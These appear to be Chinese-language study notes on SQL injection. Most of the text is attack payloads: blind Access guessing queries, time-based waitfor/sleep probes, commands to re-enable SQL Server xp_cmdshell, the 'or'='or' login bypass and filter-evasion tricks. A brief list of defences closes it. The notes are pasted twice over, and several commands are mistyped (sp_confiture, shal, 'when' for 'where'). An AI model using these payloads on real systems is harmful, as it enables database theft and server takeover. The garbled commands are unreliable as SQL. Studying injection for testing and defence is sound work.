一:不同数据库的SQL注入
1:Access的sql注入,ASP+Access;猜解:猜解表名,猜解列名,猜解字段值长度,
ASC||逐字解码法猜解字段值。
a:对表名的猜解,select count(*|这个星号代表全部|) from +formname>0;
猜表名:and (select count(*) from table)>0/and exists (select * from table)
猜长度: and (select len(word) from table where id = 1)>1
猜字段值:and (select top 1 asc(mid(word,2,1))from table)>1
b:id注入工具;常见表名字典;
c:猜解字符串长度,返回值
d:asc(mid(url,1|这里是第几位|,1|延续几位|)) from +表名
2:Mysql的SQL注入。
php+mysql
3:SQLserver的SQL注入
二:基于不同方法的条件语句的使用
1:基于时间--基于web应用响应时间上的差异
基于时间:(SQLserver)有管理员访问权限;
if (system_user = 'sa') waitfor delay '0:0:5' -
if (substring((select @@version),25,1)=5) waitfor delay '0:5:15' --
判断版本;
exec master..xp_cmdshell 'ping -n 5 127.0.0.1'
有管理员访问权限,没有启动xp_cmdshell,于2005和2008版本.
exec sp_config 'show advanced options',1;
eeconfiture;exec sp_confiture 'xp_cmdshell' 1;
2000版本;
exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';
基于时间(mysql)
select benchmark(1000000),shal('fooyiing');|进行1000000万次|
select sleep(5);(5.0.12版本以上)|延迟5秒|
2:基于错误--根据指定位置值的不同来触发不同错误响应并提取位值
3:基于内容--基于页面返回的不同HTML进行相关的判断
%2B case when (system_user ='sa') then 1 else 0 end;
三:其他SQL注入利用手法
1:万能密码 'or'='or'
sql="select * from users when username=' " &"'and passwd='" &password &"'"
sql-"select * from users when username='' or'='or" and passwd="admin"
2:字符转换与编码的处理
a:declare与ox6e---16进制编码处理;
b:二次编码
c:/**/替换空格
四:SQL注入的防御
1:基础与二次过滤
a:输入检查,特殊符号的过滤;|黑名单|
2:不同语言的SQL防御---使用参数化语句|
Java?占位符,jsf类的输入验证;
3:平台层的防御
a:web应用防火墙
b:url策略与页面层策略
c:数据库权限控制
d:额外的部署考虑;
1:Access的sql注入,ASP+Access;猜解:猜解表名,猜解列名,猜解字段值长度,
ASC||逐字解码法猜解字段值。
a:对表名的猜解,select count(*|这个星号代表全部|) from +formname>0;
猜表名:and (select count(*) from table)>0/and exists (select * from table)
猜长度: and (select len(word) from table where id = 1)>1
猜字段值:and (select top 1 asc(mid(word,2,1))from table)>1
b:id注入工具;常见表名字典;
c:猜解字符串长度,返回值
d:asc(mid(url,1|这里是第几位|,1|延续几位|)) from +表名
2:Mysql的SQL注入。
php+mysql
3:SQLserver的SQL注入
二:基于不同方法的条件语句的使用
1:基于时间--基于web应用响应时间上的差异
基于时间:(SQLserver)有管理员访问权限;
if (system_user = 'sa') waitfor delay '0:0:5' -
if (substring((select @@version),25,1)=5) waitfor delay '0:5:15' --
判断版本;
exec master..xp_cmdshell 'ping -n 5 127.0.0.1'
有管理员访问权限,没有启动xp_cmdshell,于2005和2008版本.
exec sp_config 'show advanced options',1;
eeconfiture;exec sp_confiture 'xp_cmdshell' 1;
2000版本;
exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';
基于时间(mysql)
select benchmark(1000000),shal('fooyiing');|进行1000000万次|
select sleep(5);(5.0.12版本以上)|延迟5秒|
2:基于错误--根据指定位置值的不同来触发不同错误响应并提取位值
3:基于内容--基于页面返回的不同HTML进行相关的判断
%2B case when (system_user ='sa') then 1 else 0 end;
三:其他SQL注入利用手法
1:万能密码 'or'='or'
sql="select * from users when username=' " &"'and passwd='" &password &"'"
sql-"select * from users when username='' or'='or" and passwd="admin"
2:字符转换与编码的处理
a:declare与ox6e---16进制编码处理;
b:二次编码
c:/**/替换空格
四:SQL注入的防御
1:基础与二次过滤
a:输入检查,特殊符号的过滤;|黑名单|
2:不同语言的SQL防御---使用参数化语句|
Java?占位符,jsf类的输入验证;
3:平台层的防御
a:web应用防火墙
b:url策略与页面层策略
c:数据库权限控制
d:额外的部署考虑;